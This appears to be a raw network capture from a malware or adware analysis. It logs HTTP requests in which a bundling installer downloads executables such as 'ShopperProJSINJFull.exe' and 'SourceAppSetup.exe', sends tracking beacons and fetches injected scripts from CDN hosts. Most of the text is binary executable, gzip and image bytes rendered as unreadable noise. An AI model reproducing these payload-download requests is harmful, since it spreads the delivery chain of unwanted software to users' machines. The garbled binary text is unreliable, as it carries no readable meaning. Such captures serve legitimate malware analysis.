.NNNN.[; ONNww.^......S;[..'._...k)......K;;.......,.....:.......,#...
]., ...][email protected];.H...K;.......k:...,.....:..
....., ...].,....]..`[email protected]#.^...L.......
j...........u.Iw[.^...L.......j.......uu.IwS.^..iL.......j.......Pu.Iw
K.^..DL.......j....... u.IwC.^.._L.......j........u.Iw{.^..:L.......jX
.......H.f..V...^[email protected].[;.Ow....u..Y.OM...._...j..k;....._...AF
.-.AF...NIu....jL......[;...k?N...S;............,....ZS;...AF.u..f~...
.....IH...K;..S;..h...X..j.4...........`.... `......I..L......[;.....~
.......F...LJ,.,.,...........[;...7#^c.#Ea.#~c.#ea.#/c.#&a.#4k.#0ji...
Ow.!^...J.....Z..........!^.5..[..\...j\.[;.................S;....<<< skipped >>>

GET /mirror/nerocrossrider/appshat_generic.exe HTTP/1.1

Range: bytes=214170-

User-Agent: Better Installer(Mozilla)

Host: d3aa6lfjz7mo54.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 71388

Connection: keep-alive

Date: Sun, 04 Jan 2015 05:53:17 GMT

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1415096893/atime:1415097003/ctime:1415096894

Cache-Control: max-age=3600

Last-Modified: Tue, 04 Nov 2014 11:01:28 GMT

x-amz-version-id: zdbgB_7owwl7Hq6LIKQBG0yBaPWISKtC

ETag: "518879abe3170dabd172dfffcd165598"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 214170-285557/285558

Age: 3473

X-Cache: Hit from cloudfront

Via: 1.1 170c81df2c0c1daa451f0cfcd8986c43.cloudfront.net (CloudFront)

X-Amz-Cf-Id: t0ZA4s7XJKwi6RwUuYqhFr_wdlxvMiouhD2xUQRpslE_OCBnuyFWJg==
a...:X.h0...d...,Q..b:..... <o..^..z.nI...n..b..3........$.#....k..
m...L:M..^..b..j.*G.:c'^T... .k..|..?D...c....\..P.}[email protected].
...x.X..7.[.f...!......g...)aT......k.....1..K.....ou74.U..#.k3-...N..
.....t....u8n.7.c.2..7J... ...h..s......[.V..44.a..<.- .....x..O2oZ
*...u.....oY...T..k..r. z'._GC..B.W.9&1......'.~/].2 v~..:f.=.x<0.}
.e3F/5..b..<!..H...1)......V~G...7.........A..1VS..s.!6.k.J6...h.o.
..8..A^[email protected]>.[.Z...I..P..................Y..... .I."....s....6
d..<F-..[....\]^... C4w>..'j$.qT........J .{..\....X>........
......|EU.*................c..Q.<......Mk..%....1c...8.g:...=.d'.R.
..Im,O.o$..Q.....O..fS43.(...`..........M.s...Rx..[.|:...&.^.....c....
..)...>.6.C4c".%..O..r.Cg.........|._...9..m.h.6.;.Y.L.~).M..]A\...
e.u`...U....s.X....m.....1y|.....k......~..uEi.$...J..pK.:Xt.....z9.bu
*...1:.C....`.]..N.oR.....0..(.5U!.*....$.......3t.0..Vd6..H....6.9N,.
...)T....e.h.."..N6..nUE.......Z..d.........&.....`..1..............b9
..K..g..9Md...K...6q.?...MU.GW.c.C..Ppfw..u.{.."..]....wf|k./(BX......
V...p>...'.;..(..Q.....9.:...R.v";...zv\;..Ow.2...7.~.IT.D..mu.k.OG
w....<U.....x.. ...i.....W.5|w.#....DR.w.}..r......D...^Y..v.... 05
...K.:.{..}Q...t.Y......P..#Hl....2........&c.....C.*...D....l...v.K.v
D.wC..vK4..W.P.).X.....Z..;V2......,j....q./.q.i..d.........\..F.._a..
.U....T...m...d.....>....{z.tf.T..%...5.. NF.......).....:.b,..O.Yq
.....u/oT<.`[email protected].|T..mVLY.......C(
E.....F...e|...hu.\.\. .....~ ..Fi>..M.;..f.U$..!.&6 Y......s..<<< skipped >>>

GET /sd?is=sm HTTP/1.1

Range: bytes=0-

User-Agent: Better Installer(Mozilla)

Host: install-cdn.sourceapp.info

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Pragma: no-cache

Content-Type: application/octet-stream

Server: Microsoft-IIS/7.5

Content-Disposition: attachment; filename=SourceAppSetup.exe

X-AspNet-Version: 4.0.30319

SVR: SP003C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Cache-Control: private, max-age=86400

Expires: Fri, 09 Jan 2015 04:53:20 GMT

Date: Thu, 08 Jan 2015 04:53:20 GMT

Content-Range: bytes 0-583463/583464

Content-Length: 583464

Connection: keep-alive

MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................Z....... ...0.......p....@.........
........................;........................................s....
..................8...................................................
.............p...............................text....X.......Z........
.......... ..`.rdata.......p.......^..............@[email protected].......
.....p..............@....ndata.......p...........................rsrc.
...............t..............@..@....................................
......................................................................
......................................................................
......................................................................
......................................................................
............................................U....\.}..t .}.F.E.u..H...
[email protected]@..e...E..E.P.u...Pr@
..}[email protected]... M.......M....3.....FQ.....NU..M.....
.....VT..U.....FP..E...............E.P.M...Hp@[email protected]
....E..9}[email protected].}[email protected]..
[email protected]@.W...E..E.h [email protected]...\r@._^3.
[.....L$...nD...Si.. ..VW.T.....tO.q.3.;5.nD.sB..i.. ...D.......t.G...
..t...O..t .....u...3....3...F.. ..;5.nD.r._^[...U..QQ.U.SV..i.. .

<<< skipped >>>

GET /dealdo/event-report?instgrp=20141204__1086__lnk_aromani_70&rand=852077&opdom=pricejs.net&type=quick&topic=suzan_exestrt&partner=somopf&channel=somopf&ver=1086&hid=v5532D312D352D32312D323835383032303933352DB48A115F3C&funnel=f777ab7c-adac-458b-b198-2dc3ce7fa535 HTTP/1.1

Cache-Control: no-cache

Connection: Keep-Alive

Pragma: no-cache

User-Agent: WinHTTP/1.0

Host: q.pricejs.info


HTTP/1.1 200 OK

Accept-Ranges: bytes

Content-Type: text/plain

Date: Thu, 08 Jan 2015 04:55:12 GMT

ETag: "5029f96e-1"

Last-Modified: Tue, 14 Aug 2012 07:08:30 GMT

Server: nginx/1.4.7

Content-Length: 1

Connection: keep-alive

.HTTP/1.1 200 OK..Accept-Ranges: bytes..Content-Type: text/plain..Date
: Thu, 08 Jan 2015 04:55:12 GMT..ETag: "5029f96e-1"..Last-Modified: Tu
e, 14 Aug 2012 07:08:30 GMT..Server: nginx/1.4.7..Content-Length: 1..C
onnection: keep-alive.....

GET /sponsored/pricefountain/pricefountain.png HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/awfr7zip23772/7zip/799c6eaebeb52f4eabf469c6ed8ad1c0?v=2.0&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: cdn.bisrv.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Content-Type: image/png

Content-Length: 3755

Connection: keep-alive

Server: nginx

Date: Mon, 22 Dec 2014 16:28:34 GMT

Last-Modified: Mon, 22 Dec 2014 13:21:34 GMT

ETag: "54981ade-eab"

Expires: Mon, 22 Dec 2014 16:38:34 GMT

Cache-Control: max-age=600

Accept-Ranges: bytes

Age: 167

X-Cache: Hit from cloudfront

Via: 1.1 4cac7d535f87b2835425f2dc5dffeac7.cloudfront.net (CloudFront)

X-Amz-Cf-Id: eHWmiusRNM8BzXRaeCfbnMZgXdjyhuhEw5rvbLbtAa0k2QcdkzEw7A==
.PNG........IHDR...?...9.............sBIT....|.d....bIDATh...y...u.?..
m.......6....b.j..0.e.C..I.h .$R.ME.6.Q..R.)$4H.h.K..RP. MTHH. .`..6..
...x..........~o.3~ol..iF.~s....~.r....*.IJ..A...e$x>&QU2..].Y.%...
.....9.K....X.xl.......a..qDAE..X...:...N655.6._..|..|$.....O......0.Z
.!.k.......V.........._..G.....?..L..d....t..........peS.......v657...
.s.#....h..'q^z.}..........`....................s....|..U..=./...;..x.
O.....z.......P.#.n_..^v.[[.1....t......O.a.M.2re..;_#-....`.E.E...)..
..k...k.p..v..Y,...g...../...MA......M.....o.B..N.c.......k....?6...{8
8.@......|......7.~t..#/.D.]=...u.j.p..|. ....>..k........&.iv....g
..RasM..w.BC ...0U.PE.......<za/.....u......&..|.z6...U.i.z.f~ZC!..
..q..U....y......U.W..q.{..4..w..l...... #.q!........... ........*.A.5
.'..2.8.is.R.xUH:...F.A.....S=..h[#..:.....JY.[FG.\U..z...$...\.......
tx.]...M2?{..S..`[..#........Gff.yVRUT...&.H;K.....n..]...........c.}.
..cC;.Y.&......u..bxh.~...XU..1.NM.g..A..d(....H.to..._ya...1..'... .q
.[I..c..Y"Vxw...S.........':VpQc=..gxyx.i..y..$.......5]...Uy....[.}e.
.....X!6}%....V%.....V.(".Y.?........OU.%.<.7......|..m..4..G...|..
......4.(..0o .Z.........7.u3..Uq.r.{{......N...n!.U..'..s.......765.n
[email protected].%8..9..x.E..{.f~......F......t....o
...9..t....f..0........4....%..6giu...mQ6..........ukX...2.......2....
L..X...{.....Y...~.....$.S..Xj.<...E8..(.*..a.....mW.@W'.n.....^.?.
..."<.y#745z..Acx.XO.._..*:....0.1mc..^..X..... j...D...X..;....VS.
..{.........8.y..<.w..F..j...[[email protected]}..>t"Wqi.ln`.<<< skipped >>>

GET /ShopperProJSINJFull.exe HTTP/1.1

Range: bytes=250000-499999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: e0o7fa-su78sj1t.netdna-ssl.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Thu, 08 Jan 2015 04:53:09 GMT

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

x-amz-id-2: fEHRQNW5acqAErbWEp1Kule1XKUEqVMSylQouvTeMxOJF9GvqdOoUK9VNYFEs8sGqxeQxaIimD4=

x-amz-request-id: 028529EAF4D005A6

Last-Modified: Tue, 06 Jan 2015 18:18:12 GMT

ETag: "592b1f0c3bcb225894b75e66445da21f"

Server: NetDNA-cache/2.2

X-Cache: HIT

Content-Range: bytes 250000-499999/4687858
H.l..%.<.m......]..W...L.5..4..TcrU.}jS.B.].r3=U...!.k.PzIh.x..E~..
D..Cr.I..B.'D..[.Wb.e....J.An..|....o..,[email protected]._]Z.......m..
l.......\.. ...._.2."....~g..$S..J.6.%.z.U... .Prc.y#d.5.f......t.`.u.
[[email protected]#..d...k/.w.s. .J..m.=Ah.Y-...;..#..
W.........O...=:N.....o.(Q|w.....M...`...AU1..h..../.zf.Y?.pb..Ijv...*
~.~i8.p../..U..JT...]......5.R..c.........)(4.........b....NJ...~.N...
....@..._: ...:..s......~..{.F..... ....N1..Wf..H..*..dk^h....c;&.p...
.~|#........%[-...(B.1C....m..A.....{S..t$p..3....L..)..sn;.F..K.zi ..
x..X...0U...6.].....q......l.........!.D........W...c............!.1..
..O.Y#.E.d.V......."....\WYH...1.CI.y...P=...h.X...a.Fk.....(.{J....p.
.z .....J..1M...k'....N.[....`!...b...]d......a.%#..{;.......e..H.Kk..
......E."beG.p?.7.u........-..N.......Xt..3...Q..i..x...q.r...[e...om.
l.. .GR.....f....G./][email protected]/. .2..{k.c......u=.............9Z....sP..
GV..*.2../....V...(.Z...-.bd.>..@%y.Zv] .........SS.{...9......A..M
-E...K.P..;..{V.b........ :Z}"...;..2...6......e.......G.{...g...4u...
.Fz|{p.....w..Q...VH.\.5..T;..\...T..8....-.A..kX.N.......A.|."...#..m
T..,....ag.[g..qI$.LE..~:....XH.X.$.....Q.R....W...N.G2 .[o.q.....5.."
....0..O.... {..|.2B8v....e >P.X.H.......[n....4W........4Z.....S$.
6`.S.8.V..i..PR.{l.......P....%/...B..l........rE. `N.V...[..0R..&.m..
y.=R.%..c......u..............A..v.o....v........./.FH(X....R.........
...ze.... 9...<......M....../......b.Z.O(26..(.....OEhqn8K.C9......
.>"........9.%.0..Q.6/......M.XoGbP..o...b..T........E.#...1;.}<<< skipped >>>

GET /ShopperProJSINJFull.exe HTTP/1.1

Range: bytes=1000000-1249999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: e0o7fa-su78sj1t.netdna-ssl.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Thu, 08 Jan 2015 04:53:09 GMT

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

x-amz-id-2: fEHRQNW5acqAErbWEp1Kule1XKUEqVMSylQouvTeMxOJF9GvqdOoUK9VNYFEs8sGqxeQxaIimD4=

x-amz-request-id: 028529EAF4D005A6

Last-Modified: Tue, 06 Jan 2015 18:18:12 GMT

ETag: "592b1f0c3bcb225894b75e66445da21f"

Server: NetDNA-cache/2.2

X-Cache: HIT

Content-Range: bytes 1000000-1249999/4687858
|?5..)i..?G..X7..i.2r...rS.."sY..%tC.KW6.w...P._.e.o..........7......}
...}......}.Q.' ...z..SM.OK.A..m1.... .`..N....HD...)rH...kg..U..y..r.
.........>.>T.P.5".v...u....Gb7.V.....7......]...R.x..gr`....ON.
)B.....Y...Q....(w.5.#[email protected].....^.....FV.
..{J.........7...S....4&...3....7......v..`.....!.l.zd]T..u.....k.!^.n
fU...5.z..w..3..;.....u....q..>).}*....d..*[D..O..;.....v..mB^.n.a5
..F?.P.0...NE...q*....FE...:&....k.0.z.>(K.S....[[email protected]..
..1l.h....G%.......t.Bo...i...q.....M/............)..u.2z..o8..../.. `
 n... .G........@(v/.^I.j....!..........}..O........=.) N........g`$y.
.......dL. .7i. ...H.K. .n.J.......IB..J..q/iavp.....%4.{5....]T':F.!I
....l2..T.....Jk9]@.C.85I.).MEOn,.......7".)....l..q.?...).w.....tq..3
c.5......yhdXu......,.........%......XJR!. .G...nM...nV.l..D.......O1G
.8.6qL>...8....$....~P..c..*...b...q][email protected] p*.z"`..m.....8nZ.P.
.<;..(ND.....9vo...Z....1........Z.WC.|..<.a;U...%....#R=..<.
.....L('p...{...NJK.?.......|&. .~V....W..h......)F...s..E7.Hy...( &..
B..6.Y&..-...GzU..a....~5.....b3.m..0.tP..n9...$..tp/. n...T.?.[.0...T
#i..../.;.~..@. R.-.KY\3[WH.!.K{J."....R..*j....v.m. Fc..5 ...8.b..w..
.|$....~..sH.isi...QE../...b.U..W..v\d!~..B.G6.xgg...}....w%.U.u...l.t
@Gc.2..[.J.a....3..4.Z......^M..&.....z...W!......~..5....wC.P..ya.~..
.....$.Hfb_)... ....D.f..ohM..0..`..V-..0.........LF..OL.~...N....h.7x
.n........O.j".....K..W..w|O./...\...\....._..<.e]..._..<[email protected]
.b.........k....y..}..\.... ....O..1..J?.S.Fd.S...<..../..Un.;g<<< skipped >>>

GET /ShopperProJSINJFull.exe HTTP/1.1

Range: bytes=1500000-1749999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: e0o7fa-su78sj1t.netdna-ssl.com

Connection: Keep-Alive

GET /ShopperProJSINJFull.exe HTTP/1.1

Range: bytes=2250000-2499999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: e0o7fa-su78sj1t.netdna-ssl.com

Connection: Keep-Alive

GET /ShopperProJSINJFull.exe HTTP/1.1

Range: bytes=2750000-2999999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: e0o7fa-su78sj1t.netdna-ssl.com

Connection: Keep-Alive

GET /ShopperProJSINJFull.exe HTTP/1.1

Range: bytes=3250000-3499999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: e0o7fa-su78sj1t.netdna-ssl.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Thu, 08 Jan 2015 04:53:09 GMT

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

x-amz-id-2: fEHRQNW5acqAErbWEp1Kule1XKUEqVMSylQouvTeMxOJF9GvqdOoUK9VNYFEs8sGqxeQxaIimD4=

x-amz-request-id: 028529EAF4D005A6

Last-Modified: Tue, 06 Jan 2015 18:18:12 GMT

ETag: "592b1f0c3bcb225894b75e66445da21f"

Server: NetDNA-cache/2.2

X-Cache: HIT

Content-Range: bytes 3250000-3499999/4687858
...N.SM.....w#ay\.......|....3,....!...~E.....9.H........E......2PHp.A
{."..w......x@... ..........].tM6.#?. .....<T6T....6\.57..O...Uu...
.......`P...4K..e....h...........\KV.1=@!....=qv.-/.O.4&..Z5mxF.a.H...
.P....I2b.....R..k.0.p......i.?...3R...F.O...U....M\. ?.'.d.~..N.7'.U.
.xc.GG....W..gX...%tU._'.....~#O|. CZ...%.X..Z.EB...#o.......$.G8KLwf.
s...u.....@$....{..oR...{[email protected].\.Q.
.X0...d... ..l@ZO4.$.....0vA ....=<[email protected]..}0....Rf...O.|.s6.b....
[email protected]....|...E..$.C.j.J.s..KHuq..MA.....{H..2.....}.MU7[..}......5...'.
./....G..B ml.^@..$.?,*_q..;ky.y..Er.z.W..o:..6...r.d..#.B.v.1...{..`B
hz..N.3..&x^......89hv..2_...a..y3p?R.h.E..Zv.......8<........2....
.4.{3.,,..Qu.......g..|\.D...r/.......*.z.....U..y.....{......C....@..
 ..x.p.........Y.J.....'.^H....tp.KL~..<.L'..tE......F&..s....(.`.E
..C.e...J*..1.?CzQM.....rB.M,.PX.B......._..........Z....CQ.w1..!p.x.V
@../[email protected].."._.!)...?................rVn..&M`.Hc..b..1.y.d....
..ZJ....8..0..#..Z...s...h.6a6.Z..E......7.O.....|.....@......^u..)y.S
..q.R.6.3.Z\W.....$.'...O....B..`[email protected]..`........./.....L...\/..
.....^..'...w...xd1>.f....d.#P.3.....0...8..G..}.JfO.._.&.M.~>D.
... .....b..L.m.s.cu....-3.....[...#....{I.M2.i....j....C..-..~.!f.M..
.>.....p.]2.......(L..]=..6.V~.....D/..$d........)..Y Z...c=NT..%..
PA....8....a...^...j_..?U9.D...$e..r.....c@...|....L... S..b...T.It#1 
.!..9Z.....H62....U6Z..=0.x..v.P].8j..A.;hk....r~.%i.c...XN. S....j ..
q..GN....<.Q....M...0o6...u.D.o., .....)..U..D....v.....\.w..yL<<< skipped >>>

GET /ShopperProJSINJFull.exe HTTP/1.1

Range: bytes=3750000-3999999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: e0o7fa-su78sj1t.netdna-ssl.com

Connection: Keep-Alive

GET /ShopperProJSINJFull.exe HTTP/1.1

Range: bytes=4250000-4499999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: e0o7fa-su78sj1t.netdna-ssl.com

Connection: Keep-Alive



[email protected]... s%w...KA..g..!.........3..;.....b.jK..e.U'........fQ.
,..)`Zn.ff....../..[...e..EL....`..@*...*[email protected]<,o.....J./..U.q..0..
...*4.,.|.../..n.........r..<.......8.M.I..V....#a.[]..e.s.v..Q.tze
....5. ..;.tS....).AE.'`.8Z.E...].[..E.=.Q"B..'....%.".m.3.R....S2/..1
....g. ...k?..K)..T.Hp.6...)......Y./....o....~....m.m...|..Y0.......#
....=....J..y...1:..6F..}7O....F.......K>.......).ts.....xZ...._\.2
W&..LWl.C..r......3..})P..,...@.`...{.....44pD.B_..7.=.4B...O..yO.....
s.:.....pExO.N..r.8..T..R....n.... }E./...j.....................?...D.
....l.&{,M...T../.........C....b.2..l..=Z..\.<.P.....e..ph.....E...
...S...b..wJ....g.. .. ..........l.eP7.......X.i.@..`....G.)..Hq.7..W.
.k.Y.J....c..z..H|..o.$...G.....^F...M.|.F..HF...... ....<.........
..;p...-l../T........... =q..n........[9.......5...`..(.....A.9.x...#.
D..n....../...'.gt...(.......u..7......[{|....(...Rd.#.i..Y-7Y.zsT...2
.. .nlI.!UM/J.A..q..&..,.A0.Y.[".d...l....F.:.....{.\.<..}9.c....M.
H.-(....k.N.......Q......|a..... ... ..W.Nk....u.m.~.....Sc-...3a|..\'
.?...].q95.P1~...;....e.N.{.S...y]....r....s.........cS..C .>y..c..
km...$.......2.!.Y......Kb6.q#.F..c.^....*.p.....pA..vf..m..}.!..z|...
.._>......F..;/o.A..c.^m;-..#<.(..B.A..QX..E..~'.0ym ..w|..6..2.
..-.h...9..^F.C~.q....}...G..k..}n..G.!&.7.{b...U$....I....s....t...O'
 .E.`[email protected]....!..XJ.....L1.....{.q..O..0..[.E....x.,.....
6..R.....g8..j.N.x.....u.....r.L....}.M.s...."..k.uo.....^.k......Z..Y
. ....]...R....i~,4..Ab.5m......p;...:...)l...o.4.Ot.k.#....Z.....<<< skipped >>>

GET /ConversionService/getScript.ashx?s=finish HTTP/1.1

Accept: application/javascript, */*;q=0.8

Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,25383020-30f5-408f-b983-88ab51edfcbf,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=76&BundleID=NONE

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: VVV.youtubeaccelerator.com

DNT: 1

Connection: Keep-Alive

Cookie: ASP.NET_SessionId=0gkn1yumieq3soyth43bzeq3


HTTP/1.1 200 OK

Cache-Control: private

Content-Type: application/x-javascript; charset=utf-8

Content-Encoding: gzip

Vary: Accept-Encoding

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Thu, 08 Jan 2015 04:54:21 GMT

Content-Length: 1035
.............`.I.%&/m.{.J.J..t...`[email protected]#).*..eVe]f.@......{
....{....;.N'...?\fd.l..J...!....?~|.?"..:..........r...r../..v]/.q6..
^.....j9jG.._......M./......EMG....G.U.f.9.........G.PCj.=......dD.^..
.~..b .~.....Ev......~.....u...4.g.t..~..:........G.......6..g{..?....
.w.:....!>...v.5......G..,?/...._......~..;...."o........E...>..
..#j7...E;?..=...|...V.rv2/..V{..V}..I5.&.k.........S.YM...q.s.@..".!M
.^..x.4o.:..8..y.(.].;L..Y;.....>.9L.j.?WUS..Gi6i.r.....hVev.(]V...
...&......a.n.dD.....}o........).i....:?...O....w....~.G....{../...'.O
>.l.{../..'w>.}T.....E.N.[..C....]?[...p1x..t.~..G.........._..&
gt;c....z.>.VK"I>......4.G).}'..2 ..E..b.]7.. ....2..S.H....MA..
AO...'...>......?..0....:o>...z.V....u[....;w........q|......?..
WY;......{......z..kAZ.A.u .i....C&..a.x..;,>[email protected]|..n:...vk..g.
}.~tx..p..'...;j.U..9.bAr...s...>......a....K..&.....CYi.E.z..}..h{
../.g...o.........M.........W...V....X...!.Y..........)......!........
.....I$n...f^.........T...n...y}YL......GRS.w.G..)....B...v.!A...Z..Kb
[..w6.M.......&x.E...HTTP/1.1 200 OK..Cache-Control: private..Content-
Type: application/x-javascript; charset=utf-8..Content-Encoding: gzip.
.Vary: Accept-Encoding..Server: Microsoft-IIS/7.5..X-AspNet-Version: 4
.0.30319..X-Powered-By: ASP.NET..Date: Thu, 08 Jan 2015 04:54:21 GMT..
Content-Length: 1035...............`.I.%&/m.{.J.J..t...`.$..@.........
iG#).*..eVe]f.@......{....{....;.N'...?\fd.l..J...!....?~|.?"..:......
....r...r../..v]/.q6..^.....j9jG.._......M./......EMG....G.U.f.9..<<< skipped >>>

GET /software_files/7_zip/9_20/7z920.exe HTTP/1.1

Range: bytes=277620-

User-Agent: Better Installer(Mozilla)

Host: download.filesfrog.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Server: nginx

Date: Thu, 08 Jan 2015 04:55:20 GMT

Content-Type: application/octet-stream

Content-Length: 832856

Last-Modified: Mon, 15 Oct 2012 03:33:11 GMT

Connection: close

ETag: "507b83f7-10f1cc"

Content-Range: bytes 277620-1110475/1110476
../cXh~.Q....mj..Yt..>...(.e....(...kiq...lSR>...?... .N?.[c6...
C.(.pA.,.*..F...Y.Ij.j..p.%.r..e..h&...{-.....R^...`9.1PO6\8..>....
..Q"Rg.Z......Too...?.<....J..=,.q...}y.=.T..*W...C9..].........^e.
"T..`.&F..M...^-6Wz_:..YW.B.......'......O;,k..".gGP..<$-..1 .;.s|X
....-....%,....@.]AU.. ..\ko... .w~g..1K.......;A..|.r..%.............
.......... .)..2....e..<.J.i."....c..oZ...TE..j...........H..,8W.c.
.ST.zz.M.;-Pk5z...y..r.W~.;(F7,........w5...Ef...9Eo..[.Q...\.....9..f
6...j.mq*pRc..Z*.R..IW...j4Y.D ...T...Sn_.0.tY[/g./]ehAw..@<W......
0QO\Cj(.C.-.......*..5|.-.0..$.V..pX...T........HA.....}..........}.;.
 ....LPV.X..0W..H.........z..F(.o.:........Fd.'C..= . ..e.....%Z.t....
t.Bz.?...s.....L...ds....[....dr.....E(.z)vD17...d...m... ..........ms
..g...8V._x.X..D..g.WQ&....$...}o.Q5u..#6.. .`.......~..%.ir.W....zoYI
1b.......t`.2t.U.~5....t.......jd..rv.O..........s.o.}....A....9..o%..
.j.....R.LQ[.9qY1d?..?n.F.........*F}.b-.P`....y.6.=n...Kge}onq..u%.O|
.X>..."]..%H.;[email protected].. ........^...*.--....^n3.....2A.....
..,..Wg./.........p>....ci.........w..2.g...6^:.`..b... .'r........
........D....RH..[.`i..1*.rs....O..BG5...)nU..tX...r..CZ..V=)@.4r..)v:
./M$..5...'4....Bey.0Y..*..#7...q.../.#N.@....__......<85d$.z.%G...
(....-.d...I.........g....S:..&...2.....t..........h.c.......ty.G. .T.
k.>R....C...S.K.S.....,3LZe......a..#&SH.Q.R......4P......0}IC.h)N.
7..G....G1..........<..!.....=.I......S...tE.d.d.Y.......qf@I=nB...
.....V...'...z.]y./.......ng..VY...y.|......2.J..'.^.z....W..d....<<< skipped >>>

GET /mirror/nerocrossrider/appshat_generic.exe HTTP/1.1

Range: bytes=249864-

User-Agent: Better Installer(Mozilla)

Host: d3aa6lfjz7mo54.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 35694

Connection: keep-alive

Date: Sun, 04 Jan 2015 05:53:17 GMT

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1415096893/atime:1415097003/ctime:1415096894

Cache-Control: max-age=3600

Last-Modified: Tue, 04 Nov 2014 11:01:28 GMT

x-amz-version-id: zdbgB_7owwl7Hq6LIKQBG0yBaPWISKtC

ETag: "518879abe3170dabd172dfffcd165598"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 249864-285557/285558

Age: 3357

X-Cache: Hit from cloudfront

Via: 1.1 d7876feb6aad13be77dcc3a0028488b5.cloudfront.net (CloudFront)

X-Amz-Cf-Id: C9LxJhKkG4LdNTtZURvkVczuwoovEinWLCE3Pe3vV_jD9CUM01A9QA==
..X..9f.q...%.@_e../xo....nFE5..b:.....I..}..ELr.......b.....=..Bq.G._
...|.eh:..B_]...'.q.T..XMz4N.@.....?.....Kg.I....f&.\.B6...........f..
Ff...,...i0E["...A/#.).....P..]..,.[..$.../..Q..>'...F.1.=.h.C ..l.
..Vc..^K]....z.Dp.<6.. .=..%$`.G...'..h..'"#......!^..}F7g..[.K..n~
.s..4fo%.K.....M...-......GM|V.......N..o...(.,........1...=...J{....~
v..C...HwM'rg=...Y..Y>Rj.[....=Xh%P.F(...Ph.D&..S.....EF..7....\.Z.
&/`..1q......(./..A.WWs.....L...:^.`....:......z.7.m.c.Xj(...z.....z._
.Y.Z.<..m....-F..-r.......yV....;\~....P...`qR..ue..Pad"..8.f&1/.w%
.e...m.....M].c..C.}.%_.s.WQxQ..1.WO.Ea.76.~..r.&..9..%8.0.......xE..$
..a/..*z.;khi.k".<}.....v....0)..a.&..Z..n..a|P.gjT....C.....[..W.g
.4.k|a.Zw-....k...?.{.......ZM......_.>i.@.`<#...y.S.<.;..kf.
.u.....6....$..}2..6.....h.U#.......j..=.{.4..}....@)..K...%...z^cxR."
.b....j.....T....U?is.3..L.D-v..{P....P....\...*..........NI.n.y...M..
..@...?d`N..k^...}....o5U.(..:'..|.c..wQ....)..T..y..uz.8......H...A..
..'}5....W.....u...@ ...s)........x..d.X.zz.p.....(.......c1..g.......
S..Q....Ae..&P;7./...A...%)'....~.q.T.3..j2..1..S.C..Dq.`...c.yZOpP..1
...z...D.3.f.__.F:.H......I..@.~...t..c.p.W.U."...1].>9..d:...i.6..
.....G{.mh..'...d..|{....:<.TZ..2I...._yI.fpG....S.??,[email protected]=r
.....{z.Q...Q.~.......t......1.]..Sf(.QD...6.%...5\.&HW......h.n*.j.cn
k..]....fz....W@... ..w...}.8...h.`n...........9>o.0.....pa.....U..
\e..%J.....`....OF.{.P &.....v..bk..n.c.M&..(.....8e.YZMw..R.M]Qa....o
.p.$g.D._.C...5........F.Pu{..n6...[.....T.&..N^[email protected].`2.<<< skipped >>>

GET /script/14567725608/preload.js?subid=F18wsmtycl1-25383020-30f5-408f-b983-88ab51edfcbf HTTP/1.1

Accept: application/javascript, */*;q=0.8

Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,25383020-30f5-408f-b983-88ab51edfcbf,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=76&BundleID=NONE

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: cdn.visadd.com

DNT: 1

